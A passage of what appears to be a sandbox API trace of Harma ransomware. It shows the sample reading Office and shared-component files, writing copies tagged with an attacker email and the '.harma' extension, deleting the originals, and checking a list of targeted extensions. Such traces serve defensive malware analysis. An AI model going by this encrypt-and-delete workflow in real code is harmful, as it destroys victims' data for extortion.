lpNewFilePointer=0x0, dwMoveMethod=0x38dfc7c | out: lpNewFilePointer=0x0) returned 1 [0176.918] WriteFile (in: hFile=0x1f0, lpBuffer=0x41d67c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc88, lpOverlapped=0x0 | out: lpBuffer=0x41d67c8*, lpNumberOfBytesWritten=0x38dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0176.920] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc7c | out: lpNewFilePointer=0x0) returned 1 [0176.920] WriteFile (in: hFile=0x1f0, lpBuffer=0x41d67c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc88, lpOverlapped=0x0 | out: lpBuffer=0x41d67c8*, lpNumberOfBytesWritten=0x38dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0176.928] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc7c | out: lpNewFilePointer=0x0) returned 1 [0176.928] WriteFile (in: hFile=0x1f0, lpBuffer=0x41d67c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc88, lpOverlapped=0x0 | out: lpBuffer=0x41d67c8*, lpNumberOfBytesWritten=0x38dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0176.932] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x41d67c8 | out: hHeap=0x4b0000) returned 1 [0176.932] CloseHandle (hObject=0x1f0) returned 1 [0176.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0176.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0176.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0176.932] lstrlenW (lpString=".doc") returned 4 [0176.932] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0176.932] lstrlenW (lpString=".docx") returned 5 [0176.932] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0176.932] lstrlenW (lpString=".pdf") returned 4 [0176.932] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0176.932] lstrlenW (lpString=".xls") returned 4 [0176.933] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0176.933] lstrlenW (lpString=".xlsx") returned 5 [0176.933] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0176.933] lstrlenW (lpString=".ppt") returned 4 [0176.933] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0176.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0176.933] lstrlenW (lpString=".zip") returned 4 [0176.933] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0176.933] lstrlenW (lpString=".rar") returned 4 [0176.933] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0176.933] lstrlenW (lpString=".bz2") returned 4 [0176.933] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0176.933] lstrlenW (lpString=".7z") returned 3 [0176.933] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0176.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0176.933] lstrlenW (lpString=".dbf") returned 4 [0176.933] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0176.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0176.933] lstrlenW (lpString=".1cd") returned 4 [0176.933] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0176.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0176.933] lstrlenW (lpString=".jpg") returned 4 [0176.933] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0176.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0176.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0176.934] lstrlenW (lpString=".doc") returned 4 [0176.934] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0176.934] lstrlenW (lpString=".docx") returned 5 [0176.934] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0176.934] lstrlenW (lpString=".pdf") returned 4 [0176.934] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0176.934] lstrlenW (lpString=".xls") returned 4 [0176.934] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0176.934] lstrlenW (lpString=".xlsx") returned 5 [0176.934] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0176.934] lstrlenW (lpString=".ppt") returned 4 [0176.934] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0176.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0176.934] lstrlenW (lpString=".zip") returned 4 [0176.934] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0176.934] lstrlenW (lpString=".rar") returned 4 [0176.934] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0176.934] lstrlenW (lpString=".bz2") returned 4 [0176.934] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0176.934] lstrlenW (lpString=".7z") returned 3 [0176.934] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0176.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0176.934] lstrlenW (lpString=".dbf") returned 4 [0176.934] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0176.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0176.934] lstrlenW (lpString=".1cd") returned 4 [0176.935] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0176.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0176.935] lstrlenW (lpString=".jpg") returned 4 [0176.935] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0176.935] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0176.935] lstrlenW (lpString="MSSOAPR3.DLL") returned 12 [0176.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 88 os_tid = 0x67c [0174.703] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x34e4d38 [0174.704] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x34f4d40 [0174.704] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5007c0 [0174.704] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x532448 [0174.704] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5007d8 [0174.704] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3ec0020 [0174.705] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5007f0 [0174.705] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5007f0, Size=0x20) returned 0x537a80 [0174.705] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5007f0 [0174.705] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5007f0, Size=0x20) returned 0x537a08 [0174.705] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.705] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.705] Wow64DisableWow64FsRedirection (in: OldValue=0x3a1ff58 | out: OldValue=0x3a1ff58*=0x0) returned 1 [0174.705] lstrlenW (lpString="kernel32.dll") returned 12 [0174.706] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a80 | out: hHeap=0x4b0000) returned 1 [0174.706] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.706] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a08 | out: hHeap=0x4b0000) returned 1 [0174.706] Sleep (dwMilliseconds=0x64) [0174.929] lstrcmpiW (lpString1=".FLT", lpString2=".harma") returned -1 [0174.942] lstrlenW (lpString="PNG32.FLT") returned 9 [0174.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0174.942] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x3a1ff1c | out: lpFileSize=0x3a1ff1c*=302976) returned 1 [0174.942] CloseHandle (hObject=0x1ec) returned 1 [0174.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0174.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0174.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0174.943] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.943] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0174.943] GetLastError () returned 0x0 [0174.943] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0x49f80, lpOverlapped=0x0) returned 1 [0174.955] WriteFile (in: hFile=0x1f0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x49f90, lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0x49f90, lpOverlapped=0x0) returned 1 [0174.960] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.960] WriteFile (in: hFile=0x1f0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0174.961] SetEndOfFile (hFile=0x1f0) returned 1 [0174.961] CloseHandle (hObject=0x1f0) returned 1 [0174.961] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.961] SetEndOfFile (hFile=0x1ec) returned 1 [0174.964] CloseHandle (hObject=0x1ec) returned 1 [0174.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0174.964] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 1 [0174.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0174.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0174.964] lstrlenW (lpString=".doc") returned 4 [0174.965] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0174.965] lstrlenW (lpString=".docx") returned 5 [0174.965] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0174.965] lstrlenW (lpString=".pdf") returned 4 [0174.965] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0174.965] lstrlenW (lpString=".xls") returned 4 [0174.965] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0174.965] lstrlenW (lpString=".xlsx") returned 5 [0174.965] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0174.965] lstrlenW (lpString=".ppt") returned 4 [0174.965] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0174.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0174.965] lstrlenW (lpString=".zip") returned 4 [0174.965] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0174.965] lstrlenW (lpString=".rar") returned 4 [0174.965] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0174.965] lstrlenW (lpString=".bz2") returned 4 [0174.965] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0174.965] lstrlenW (lpString=".7z") returned 3 [0174.965] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0174.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0174.965] lstrlenW (lpString=".dbf") returned 4 [0174.965] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0174.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0174.965] lstrlenW (lpString=".1cd") returned 4 [0174.965] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0174.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0174.965] lstrlenW (lpString=".jpg") returned 4 [0174.965] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0174.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0174.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0174.965] lstrlenW (lpString=".doc") returned 4 [0174.966] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0174.966] lstrlenW (lpString=".docx") returned 5 [0174.966] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0174.966] lstrlenW (lpString=".pdf") returned 4 [0174.966] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0174.966] lstrlenW (lpString=".xls") returned 4 [0174.966] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0174.966] lstrlenW (lpString=".xlsx") returned 5 [0174.966] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0174.966] lstrlenW (lpString=".ppt") returned 4 [0174.966] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0174.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0174.966] lstrlenW (lpString=".zip") returned 4 [0174.966] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0174.966] lstrlenW (lpString=".rar") returned 4 [0174.966] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0174.966] lstrlenW (lpString=".bz2") returned 4 [0174.966] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0174.966] lstrlenW (lpString=".7z") returned 3 [0174.966] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0174.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0174.966] lstrlenW (lpString=".dbf") returned 4 [0174.966] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0174.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0174.966] lstrlenW (lpString=".1cd") returned 4 [0174.966] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0174.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0174.966] lstrlenW (lpString=".jpg") returned 4 [0174.966] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0174.967] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0174.967] lstrlenW (lpString="hxds.dll") returned 8 [0174.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0174.967] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x3a1ff1c | out: lpFileSize=0x3a1ff1c*=1257984) returned 1 [0174.967] CloseHandle (hObject=0x1ec) returned 1 [0174.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0174.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0174.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0174.968] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.968] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0174.968] GetLastError () returned 0x0 [0174.968] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0175.091] WriteFile (in: hFile=0x1f0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0175.110] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0x33210, lpOverlapped=0x0) returned 1 [0175.416] WriteFile (in: hFile=0x1f0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x33220, lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0x33220, lpOverlapped=0x0) returned 1 [0175.422] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.422] WriteFile (in: hFile=0x1f0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0175.422] SetEndOfFile (hFile=0x1f0) returned 1 [0175.610] CloseHandle (hObject=0x1f0) returned 1 [0175.610] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.610] SetEndOfFile (hFile=0x1ec) returned 1 [0175.613] CloseHandle (hObject=0x1ec) returned 1 [0175.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0175.616] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 1 [0175.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0175.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0175.618] lstrlenW (lpString=".doc") returned 4 [0175.618] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.618] lstrlenW (lpString=".docx") returned 5 [0175.618] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0175.618] lstrlenW (lpString=".pdf") returned 4 [0175.618] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.618] lstrlenW (lpString=".xls") returned 4 [0175.618] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0175.618] lstrlenW (lpString=".xlsx") returned 5 [0175.618] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0175.618] lstrlenW (lpString=".ppt") returned 4 [0175.618] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0175.619] lstrlenW (lpString=".zip") returned 4 [0175.619] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0175.619] lstrlenW (lpString=".rar") returned 4 [0175.619] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.619] lstrlenW (lpString=".bz2") returned 4 [0175.619] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.619] lstrlenW (lpString=".7z") returned 3 [0175.619] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0175.619] lstrlenW (lpString=".dbf") returned 4 [0175.619] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0175.619] lstrlenW (lpString=".1cd") returned 4 [0175.619] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0175.619] lstrlenW (lpString=".jpg") returned 4 [0175.619] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0175.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0175.619] lstrlenW (lpString=".doc") returned 4 [0175.619] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.619] lstrlenW (lpString=".docx") returned 5 [0175.619] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0175.619] lstrlenW (lpString=".pdf") returned 4 [0175.619] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.619] lstrlenW (lpString=".xls") returned 4 [0175.619] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0175.619] lstrlenW (lpString=".xlsx") returned 5 [0175.619] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0175.619] lstrlenW (lpString=".ppt") returned 4 [0175.620] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0175.620] lstrlenW (lpString=".zip") returned 4 [0175.620] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0175.620] lstrlenW (lpString=".rar") returned 4 [0175.620] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.620] lstrlenW (lpString=".bz2") returned 4 [0175.620] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.620] lstrlenW (lpString=".7z") returned 3 [0175.620] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0175.620] lstrlenW (lpString=".dbf") returned 4 [0175.620] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0175.620] lstrlenW (lpString=".1cd") returned 4 [0175.620] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0175.620] lstrlenW (lpString=".jpg") returned 4 [0175.620] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.620] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0175.620] lstrlenW (lpString="msinfo32.exe") returned 12 [0175.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0175.692] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x3a1ff1c | out: lpFileSize=0x3a1ff1c*=378880) returned 1 [0175.692] 